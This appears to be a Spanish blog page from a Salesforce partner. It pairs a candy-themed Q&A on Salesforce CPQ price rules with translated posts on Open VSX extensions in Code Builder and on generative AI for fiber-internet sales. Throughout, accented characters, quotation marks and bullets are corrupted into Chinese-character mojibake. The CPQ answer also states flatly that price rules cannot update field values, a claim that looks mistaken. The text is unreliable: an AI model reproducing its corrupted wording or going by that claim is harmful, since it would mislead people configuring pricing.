鈥 Por ejemplo, puede seleccionar el caramelo 鈥淕ummy Bears鈥 como el producto de destino para la regla de precio.

2. Aplicar acciones de fijaci贸n de precios a los dulces seleccionados:

鈥 Una vez que haya seleccionado el caramelo "Gummy Bears" en el campo "Producto", puede definir las acciones de fijaci贸n de precios que se aplicar谩n espec铆ficamente a ese caramelo.

鈥 Las acciones de fijaci贸n de precios pueden incluir cosas como descuentos u ofertas especiales.

鈥 Por ejemplo, puede crear una regla de precio que proporcione un 10 % de descuento en el precio de los dulces 鈥淕ummy Bears鈥.

3. Creaci贸n de condiciones divertidas (opcional):

Tambi茅n puede establecer condiciones divertidas en funci贸n de las caracter铆sticas de los dulces seleccionados.

Por ejemplo, puede crear una condici贸n que aplique la regla del precio solo si el caramelo "Gummy Bears" es de color rojo.

Podemos agregar el producto en el campo de objeto de b煤squeda en lugar del campo de producto en Salesforce, 驴cu谩l es la diferencia?

隆Est谩s en lo correcto! Adem谩s de seleccionar el producto directamente en el campo "Producto" de una regla de precios, tambi茅n tiene la opci贸n de hacer referencia al producto a trav茅s de un campo de relaci贸n de b煤squeda utilizando un objeto de b煤squeda. Exploremos la diferencia entre los dos enfoques:

1. Campo de producto:

鈥 Cuando selecciona el producto directamente en el campo 鈥淧roducto鈥 de la Regla de precio, est谩 asociando la regla de precio directamente con un producto espec铆fico.

鈥 Este enfoque es 煤til cuando desea definir acciones o condiciones de fijaci贸n de precios que se aplican a un producto o grupo de productos en particular.

鈥 Es una forma sencilla de orientar productos espec铆ficos dentro de su cat谩logo y definir reglas exclusivamente para esos productos.

2. Objeto de b煤squeda:

鈥 Con un objeto de b煤squeda, puede establecer una relaci贸n entre la Regla de precio y otro objeto en Salesforce, como un objeto personalizado o un objeto est谩ndar como una Cuenta u Oportunidad.

鈥 Esto le permite hacer referencia al producto indirectamente a trav茅s del objeto relacionado.

鈥 Mediante el uso de una relaci贸n de b煤squeda, puede definir acciones o condiciones de fijaci贸n de precios en funci贸n de los datos tanto del objeto relacionado como del producto asociado.

鈥 Este enfoque proporciona m谩s flexibilidad en la creaci贸n de reglas que dependen de la informaci贸n de otros objetos adem谩s del propio producto.

La elecci贸n entre usar el campo directo "Producto" o un objeto de b煤squeda depende de su caso de uso y requisitos espec铆ficos. Si solo necesita segmentar y definir reglas para productos espec铆ficos, el uso del campo "Producto" suele ser suficiente. Sin embargo, si su l贸gica de precios involucra datos de objetos relacionados o requiere relaciones m谩s complejas, puede ser beneficioso utilizar un objeto de b煤squeda.

驴C贸mo se especifican los grupos de productos a los que se aplica la regla de precios?

Expliquemos la implementaci贸n de grupos de productos en Reglas de precios usando un ejemplo de dulces:

1. Definir grupos de productos:

-Cree un campo personalizado de "Grupo de productos" en el objeto del producto. Establecer el valor del campo con

  • Caramelos Gomosos
  • Caramelos De Chocolate

2. Asignar atributos del producto:

鈥 Establezca el campo "Grupo de productos" en el objeto del producto en "Caramelos de goma" para los productos de ositos de goma y gusanos de goma.

鈥 Establezca el campo "Grupo de productos" en el objeto de producto en "Caramelos de chocolate" para barras de chocolate y productos de frutos secos cubiertos de chocolate.

3. Cree o edite una regla de precios:

鈥 Cree una nueva regla de precios o edite una existente haciendo clic en el bot贸n "Nuevo" o seleccionando la regla de precios deseada.

4. Asociar con el Objeto Producto:

鈥 En el registro de Regla de precio, localice el campo de b煤squeda o el campo de producto que le permite asociar la Regla de precio con el objeto que contiene el campo 鈥淕rupo de productos鈥 (en este caso, el objeto Producto).

5. Definir condiciones:

鈥 Dentro de la Regla de Precio, defina las condiciones de precio que especifican los grupos de productos.

鈥 Elija el campo que representa el grupo de productos, como el campo 鈥淕rupo de productos鈥 en el objeto asociado (objeto Producto).

鈥 Configure el operador adecuado (p. ej., 鈥淓s igual a鈥) y el valor deseado para el grupo de productos (p. ej., 鈥淐aramelos de goma鈥).

Ejemplo: Condici贸n 1

鈥 Campo: Producto: Grupo de productos

鈥 Operador: Igual

鈥 Valor: 鈥淐aramelos de goma鈥

Ejemplo: Condici贸n 2

鈥 Campo: Producto: Grupo de productos

鈥 Operador: Igual

鈥 Valor: 鈥淐aramelos de Chocolate鈥

6. Especificar acciones de fijaci贸n de precios:

鈥 Una vez que se cumplan las condiciones, defina las acciones de fijaci贸n de precios que desea aplicar a los productos en los grupos de productos espec铆ficos.

鈥 Configure las acciones de fijaci贸n de precios en funci贸n de sus requisitos, como establecer descuentos, ajustar precios o aplicar cualquier otra l贸gica de fijaci贸n de precios que desee.

Ejemplo: Precio Acci贸n 1

鈥 Si se cumple la Condici贸n 1 (Grupo de productos es igual a 鈥淐aramelos de gominola鈥), establezca un 10% de descuento en los productos afectados.

Ejemplo: Precio Acci贸n 2

鈥 Si se cumple la Condici贸n 2 (Grupo de Producto es igual a 鈥淒ulces de Chocolate鈥), establecer un precio especial en los productos afectados.

驴Cu谩les son algunas de las mejores pr谩cticas para dise帽ar y configurar reglas de precios en Salesforce CPQ?

1. Definir requisitos claros de fijaci贸n de precios:

鈥 Defina claramente sus requisitos de precios y comprenda el comportamiento de precios deseado.

鈥 Identificar las estrategias de precios, las reglas de descuento y los c谩lculos personalizados necesarios.

2. Estructura de las reglas de precios del plan:

鈥 Planifica la estructura de tus Reglas de Precios de forma l贸gica y organizada.

鈥 Dividir escenarios de precios complejos en reglas de precios m谩s peque帽as y manejables.

鈥 Esto mejora la capacidad de mantenimiento y facilita la resoluci贸n de problemas y las modificaciones.

3. Use nombres de reglas descriptivos:

鈥 Asigne nombres significativos y descriptivos a sus Reglas de precios.

鈥 Esto ayuda a identificar y comprender el prop贸sito de cada regla, especialmente cuando se trata de muchas reglas de precios.

4. Establecer orden de evaluaci贸n l贸gica:

鈥 Establezca el campo Orden de evaluaci贸n en el objeto Regla de precio de forma adecuada.

鈥 Controlar la secuencia en la que se eval煤an y aplican las Reglas de Precios.

鈥 Aseg煤rese de que el orden de evaluaci贸n se alinee con la l贸gica y los requisitos de precios previstos.

5. Probar y validar reglas de precios:

鈥 Pruebe y valide exhaustivamente sus reglas de precios con varios escenarios de prueba.

鈥 Verificar que los resultados de la fijaci贸n de precios se alineen con los resultados esperados.

鈥 Probar diferentes combinaciones de condiciones, configuraciones de productos y escenarios de precios.

6. Aproveche las condiciones avanzadas:

鈥 Utilice la funci贸n Condiciones avanzadas para implementar criterios de reglas complejos.

鈥 Combinar m煤ltiples condiciones utilizando operadores l贸gicos (AND, OR) y funciones.

鈥 Esto permite una l贸gica de reglas m谩s compleja y un control m谩s detallado.

7. Reglas de revisi贸n y actualizaci贸n peri贸dicas:

鈥 Revise peri贸dicamente sus reglas de precios para asegurarse de que se mantengan alineadas con las estrategias de precios en evoluci贸n y los requisitos comerciales.

鈥 Actualice las reglas seg煤n sea necesario para reflejar los cambios en los productos, los modelos de precios o las estrategias de descuento.

8. L贸gica de la regla de precio del documento:

鈥 Documente la l贸gica y el razonamiento detr谩s de sus Reglas de precios.

鈥 Esto sirve como referencia para futuras modificaciones y ayuda con la transferencia de conocimiento dentro del equipo.

驴Se pueden usar reglas de precios para actualizar valores de campo en un registro? Explicar.

No, las reglas de precios en Salesforce CPQ se utilizan principalmente para los c谩lculos y ajustes de precios en lugar de actualizar directamente los valores de los campos en un registro.

Si bien las reglas de precios pueden afectar los resultados y resultados de la fijaci贸n de precios, no est谩n dise帽adas para actualizar directamente los valores de campo en un registro fuera del contexto de fijaci贸n de precios.

驴Cu谩l es la diferencia entre una regla de precio y un programa de descuento?

Las reglas de precios se utilizan para definir una l贸gica de precios din谩mica y condicional, lo que permite c谩lculos y acciones complejos basados en condiciones espec铆ficas. Por otro lado, los Programas de descuento proporcionan un enfoque estandarizado para aplicar descuentos predefinidos de manera uniforme en m煤ltiples productos o escenarios de precios. Las reglas de precios ofrecen m谩s flexibilidad y opciones de personalizaci贸n, mientras que los calendarios de descuentos ofrecen una forma coherente y optimizada de gestionar los descuentos.

Expliquemos la diferencia entre una regla de precio y un programa de descuento usando un ejemplo de dulces:

Regla de precio:

鈥 Una regla de precios le permite definir acciones o ajustes de precios espec铆ficos basados en ciertas condiciones para dulces individuales o grupos de dulces.

鈥 Por ejemplo, puede crear una regla de precios que aplique un descuento del 10 % a todos los dulces de ositos de goma durante un per铆odo promocional.

鈥 Las reglas de precios brindan flexibilidad para aplicar diferentes l贸gicas de precios, descuentos o ajustes basados en diversas condiciones para dulces o grupos de dulces espec铆ficos.

Horario de descuento:

鈥 En el mismo escenario de la tienda de golosinas, se usar铆a un programa de descuentos para administrar los descuentos estandarizados que se aplican a varios dulces.

鈥 Un calendario de descuentos proporciona un enfoque consistente para aplicar descuentos predefinidos de manera uniforme.

鈥 Por ejemplo, puede crear un programa de descuento llamado "10 % de descuento" que ofrece un 10 % de descuento en todos los dulces en toda la tienda.

鈥 Los Programas de descuento ayudan a mantener precios consistentes en diferentes dulces o niveles de precios, lo que garantiza que se aplique el mismo descuento a varios productos sin necesidad de Reglas de precios individuales.

50% Me gusta VS
50% No me gusta

Continue reading

Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Las extensiones Open VSX ahora son compatibles con Code Builder 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las extensiones Open VSX ahora son compatibles con Code Builder | Blog de desarrolladores de Salesforce

Nos complace anunciar que Code Builder ahora le permite agregar extensiones desde Open VSX Registry , que brinda acceso de c贸digo abierto a las extensiones de VS Code. Con esta nueva funcionalidad, puede personalizar Code Builder con extensiones de la comunidad y de terceros para satisfacer sus necesidades m谩s r谩pido y ser m谩s productivo. En esta publicaci贸n de blog, aprender谩 sobre los beneficios que Open VSX aporta a Code Builder, c贸mo usarlo y c贸mo compartir sus comentarios con nosotros.

驴Qu茅 es el generador de c贸digo?

Code Builder es un entorno de desarrollo moderno basado en la web que est谩 optimizado para Salesforce. Actualmente en Beta, Code Builder le permite implementar un entorno de desarrollo integrado (IDE) con todas las funciones en su navegador desde su organizaci贸n de Salesforce, con solo presionar un bot贸n.

Las funciones clave, como la finalizaci贸n y refactorizaci贸n de c贸digo, ayudan a aumentar la productividad del desarrollador, mientras que las herramientas de apuntar y hacer clic dentro de Code Builder, como SOQL Builder, y la compatibilidad con todos los lenguajes y marcos de trabajo de Salesforce, facilitan el desarrollo de cualquier forma que desee. me gusta

Finalmente, con Code Builder, que se basa en AWS, puede acceder a las mismas extensiones de Salesforce y CLI que est谩n disponibles en el escritorio.

Mejor juntos: Code Builder + Open VSX

Cuando inicia Code Builder desde una organizaci贸n, viene precargado con las herramientas de Salesforce que necesita, incluido todo el paquete de extensiones de Salesforce y la CLI de Salesforce. Sin embargo, como parte del proceso de su equipo, es posible que necesite otras herramientas para realizar el trabajo. Ah铆 es donde Open VSX Registry puede ayudar.

Por ejemplo, tomemos el control de fuente. Code Builder ya tiene acceso a Git y GitHub, pero quiz谩s su equipo use algo diferente. Si su equipo trabaja con Jira y BitBucket, puede agregar las extensiones de Jira y Bitbucket en su entorno personal de Code Builder, lo que le permite trabajar con historias y control de fuente sin problemas dentro de Code Builder.

Con casi 3000 extensiones y 1600 editores diferentes en Open VSX, hay muchos otros complementos para elegir para personalizar su entorno Code Builder.

Salesforce y Open VSX

En Salesforce, estamos comprometidos con el c贸digo abierto . Dentro de las organizaciones que fomentan y adoptan el c贸digo abierto, los beneficios para los desarrolladores son claros:

  • C贸digo de mayor calidad: el c贸digo fuente abierto generalmente exhibe las mejores pr谩cticas de dise帽o de software; est谩 escrito de forma modular y limpia, y tambi茅n est谩 bien documentado, ya que los desarrolladores de todo el mundo necesitan entender c贸mo funciona.
  • Mejora de habilidades blandas: trabajar en c贸digo abierto lo lleva a aprender naturalmente c贸mo ser un gran compa帽ero de equipo y colaborador. Tambi茅n aprende de otros desarrolladores expertos siguiendo las pautas de contribuci贸n y revisando el c贸digo.
  • Innovaci贸n: La inteligencia colectiva es extremadamente poderosa. Al tener diferentes cerebros con diferentes antecedentes y mentalidades trabajando juntos, nuevas funciones e ideas innovadoras pueden surgir r谩pidamente.

Open VSX es una gran representaci贸n de la colaboraci贸n de c贸digo abierto. Dado su continuo crecimiento, la Fundaci贸n Eclipse ha formado un grupo de trabajo para guiar la evoluci贸n del Registro Open VSX . Salesforce es patrocinador y miembro del grupo de trabajo para ayudar a garantizar que nuestros usuarios tengan las herramientas y funciones necesarias para construir en nuestra plataforma.

Pr贸ximos pasos

Code Builder se encuentra actualmente en versi贸n beta abierta y est谩 disponible para que cualquiera lo pruebe. Si desea encontrar m谩s recursos, o si tiene preguntas o comentarios, consulte el grupo de la comunidad Code Builder Trailblazer . 隆Esperamos sus comentarios!

Tenga en cuenta que tambi茅n puede acceder a las extensiones de Salesforce en Open VSX, por lo que est谩n disponibles en cualquier lugar donde las necesite.

Sobre los autores

Stephanie Maddox es directora del equipo de gesti贸n de productos de Salesforce. Puedes seguirla en LinkedIn o Twitter .

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

A medida que m谩s empresas y personas buscan una conectividad a Internet m谩s r谩pida que la que pueden proporcionar los cables, la fibra es una inversi贸n popular. Dado que se espera que el mercado mundial de la fibra alcance los 31聽300 millones de USD para 2030 , est谩 claro que el auge de la fibra hasta el hogar est谩 aqu铆.

La IA puede ayudarlo a capitalizar esto, escalando sus esfuerzos para obtener nuevos clientes y ayud谩ndolo a brindar un mejor servicio a los actuales .

Adquirir la mayor cantidad de clientes lo m谩s r谩pido posible es el nombre del juego para los proveedores de fibra hasta el hogar. Las enormes inversiones en infraestructura est谩n presionando a煤n m谩s a las empresas de telecomunicaciones para que hagan precisamente eso.

Modernice el servicio con la automatizaci贸n

Aproveche la IA y la automatizaci贸n para liberar a los equipos de servicio al cliente de tareas mundanas, brindar un servicio de calidad y ser m谩s eficientes.

Sin embargo, la cantidad de nuevos clientes que puede atraer disminuye cada vez que se retrasa un nuevo proyecto, ya sean instalaciones de infraestructura m谩s amplias o viviendas individuales. Eso perjudica su resultado final y la satisfacci贸n del cliente .

Entonces, 驴c贸mo puede agregar m谩s eficiencia al proceso sin acumular inversiones m谩s significativas? Ah铆 es donde entran la IA y la automatizaci贸n. La IA generativa puede ayudar a los proveedores de comunicaciones a optimizar sus inversiones, y eso incluye ayudar a capitalizar el auge de la fibra.

Las implementaciones de IA generativa pueden permitirle hacer preguntas espec铆ficas basadas en los datos de CRM de su empresa, ayud谩ndole a tomar decisiones m谩s informadas, lo que lleva a mejores resultados comerciales.

La tecnolog铆a de inteligencia artificial generativa que es segura, confiable y se basa en la amplitud de los datos de su cliente puede optimizar su inversi贸n en fibra en cada paso del camino. Desde la identificaci贸n de vecindarios para proyectos de infraestructura hasta la optimizaci贸n de las instalaciones de hogares individuales, as铆 es como puede ayudar.

1. Identificar ubicaciones para la inversi贸n de fibra hasta el hogar

Para capitalizar el auge de la fibra hasta el hogar, el uso de la IA generativa comienza desde el inicio del proceso, identificando en qu茅 vecindarios colocar la fibra.

La tecnolog铆a de IA generativa puede analizar datos hist贸ricos, datos demogr谩ficos y tendencias del mercado para identificar d贸nde invertir en implementaciones o actualizaciones de infraestructura, por ejemplo. Junto con sus propios puntos de datos seguros, como la tasa de ganancia de su empresa en varios vecindarios, la IA generativa lo ayudar谩 a encontrar las soluciones de dise帽o de red m谩s rentables y eficientes.

Tambi茅n puede ayudar a los proveedores de fibra a identificar las comunidades con el mayor nivel de inter茅s en la fibra, as铆 como a crear flujos de trabajo inteligentes para aumentar los ingresos por registro e instalaci贸n m谩s r谩pidamente.

2. Escale sus ventas de fibra de alto rendimiento

Tenga en cuenta que la IA que implementa es tan buena como los datos en los que se basa . Puede usar IA con sus datos protegidos para adaptar sus esfuerzos de marketing, como dise帽ar anuncios personalizados visualmente atractivos para dirigirse a audiencias espec铆ficas en funci贸n del historial de navegaci贸n y compras, creando modelos predictivos para pronosticar el comportamiento de compra de los clientes.

La IA generativa junto con las capacidades de IA basadas en el aprendizaje autom谩tico de larga data es el "santo grial" para escalar su alcance, seg煤n Vala Afshar, evangelista digital jefe de Salesforce. Eso tambi茅n se aplica al despliegue de fibra en tantos hogares y empresas como sea posible.

Puede ayudar a optimizar sus ventas y marketing a trav茅s de otros beneficios, como:

  • Puntuaci贸n de clientes potenciales : use IA para analizar y priorizar autom谩ticamente los clientes potenciales de instalaci贸n de fibra en funci贸n de su probabilidad de conversi贸n.
  • Perspectivas de cuentas y oportunidades : la IA y los algoritmos de aprendizaje autom谩tico pueden recopilar y analizar datos de fuentes internas y externas para proporcionar una visi贸n hol铆stica de posibles cuentas de fibra y oportunidades de ventas.
  • Pron贸stico predictivo : con el an谩lisis predictivo, la IA puede extraer datos hist贸ricos, patrones y otras correlaciones para brindarles a los proveedores de fibra la capacidad de anticipar el comportamiento del cliente, predecir tendencias de ventas y tomar otras decisiones basadas en datos.

Yendo un paso m谩s all谩, la IA generativa predice las tendencias de ventas futuras, analiza los datos de ventas y crea una comunicaci贸n personalizada, lo que lo ayuda a aprovechar al m谩ximo la tendencia de fibra hasta el hogar.

La IA generativa tambi茅n puede ayudar a su equipo de ventas a cerrar y optimizar nuevos acuerdos de fibra.

Puede crear propuestas y contratos a partir de datos de clientes, agilizando la creaci贸n, mejorando la personalizaci贸n, la eficiencia y la precisi贸n en todo el proceso.

El an谩lisis de gesti贸n de pedidos, en todo, desde m茅tricas de rendimiento de pedidos, seguimiento y gesti贸n de inventario, puede ayudar a identificar oportunidades de ventas adicionales y recomendaciones de productos, ahorrando horas de trabajo en tareas administrativas.

3. Mejore su proceso de instalaci贸n para trabajadores y clientes

La IA tampoco se detiene una vez que sus t茅cnicos est谩n en el campo.

Brinda a los despachadores una visibilidad completa para hacer coincidir los trabajadores y las asignaciones, y asigna proyectos de manera consistente en funci贸n de las habilidades, la ubicaci贸n, el inventario y las reglas comerciales. Les permite ver la fuerza de trabajo m贸vil y cada trabajo en una sola pantalla.

Los chatbots o asistentes virtuales con tecnolog铆a de IA pueden proporcionar actualizaciones en tiempo real sobre instalaciones o solicitudes de servicio que reducen el tiempo de intervenci贸n humana.

Puede ofrecer las siguientes mejores acciones y resoluci贸n de problemas para los t茅cnicos de servicio de campo durante la instalaci贸n. Por ejemplo, los algoritmos de visi贸n por computadora pueden analizar im谩genes o videos de los sitios de instalaci贸n para guiar a los t茅cnicos a trav茅s del proceso y garantizar la precisi贸n en el camino e identificar cualquier problema que deba abordarse.

Esto crea un proceso de instalaci贸n simplificado y le permite entrar y salir de m谩s hogares y negocios m谩s r谩pido. AI lo ayuda a brindar el excelente servicio que los clientes esperan, brind谩ndole una ventaja en la carrera de fibra hasta el hogar.

Uni茅ndolo todo con IA generativa

Veamos un ejemplo de un proveedor de fibra que utiliza IA generativa para convertir una simple solicitud de servicio de un cliente de banda ancha comercial en una posible instalaci贸n significativa de fibra para varias oficinas. Supongamos que un cliente se pone en contacto con el centro de servicio por inquietudes sobre videoconferencias nerviosas entre sus seis oficinas.

En el pasado, despu茅s de enterarse del problema, un representante de ventas regresaba e investigaba las ubicaciones de sus oficinas, cu谩ntos empleados y el tipo de negocio. Luego usar铆an esa informaci贸n para predecir el ancho de banda, o incluso si est谩 disponible en las ubicaciones, necesario para una soluci贸n. El representante, junto con los arquitectos t茅cnicos, establecer铆a cu谩l es la soluci贸n, pensar铆a en una venta adicional y redactar铆a una propuesta y un contrato.

Eso podr铆a tomar semanas o meses en completarse.

En su lugar, la IA puede tomar la indicaci贸n del cliente (arreglando videoconferencias sin fluctuaciones entre seis ubicaciones) y proporcionar instant谩neamente las respuestas a todas las preguntas necesarias para resolver el problema.

Esta tecnolog铆a puede extraer datos seguros de sus clientes e identificar informaci贸n relevante, como d贸nde se encuentran esas seis ubicaciones y el n煤mero de empleados por ubicaci贸n. Al leer los datos que ya tiene, la IA generativa puede informarle si la tecnolog铆a mejorada est谩 disponible para esas ubicaciones.

Tambi茅n puede incorporar una recomendaci贸n de venta adicional instant谩nea, que en este caso, por ejemplo, ser铆a instalar fibra en las ubicaciones para aumentar el ancho de banda y la mejor velocidad y calidad posibles para videoconferencias.

Luego, la IA generativa entrega una propuesta y un contrato utilizando toda esa informaci贸n privada dentro de su dominio. Un representante de ventas y un ingeniero de red est谩n en todo momento para proporcionar retroalimentaci贸n humana para ajustar o adaptar la respuesta, brindando el toque personal necesario para que todo funcione bien.

Pero gran parte del trabajo manual, el trabajo administrativo, lo realiza la IA. Reduce el proceso que habr铆a tomado semanas o meses manualmente a solo unos pocos d铆as, mientras libera los recursos de su empresa para enfocarse en tareas de mayor nivel, como enfocarse en expandir la fibra al hogar y la oficina.

Ya sea identificando ubicaciones para instalar fibra o alertando a los representantes sobre una oportunidad de venta adicional, la IA generativa y la automatizaci贸n pueden ayudar a potenciar la carrera de su empresa para adquirir clientes de fibra y optimizar esas fuertes inversiones.

Gana ventaja en el auge de la fibra

Descubra las estrategias y tecnolog铆as fundamentales necesarias para iluminar las experiencias de sus suscriptores de fibra.

Continue reading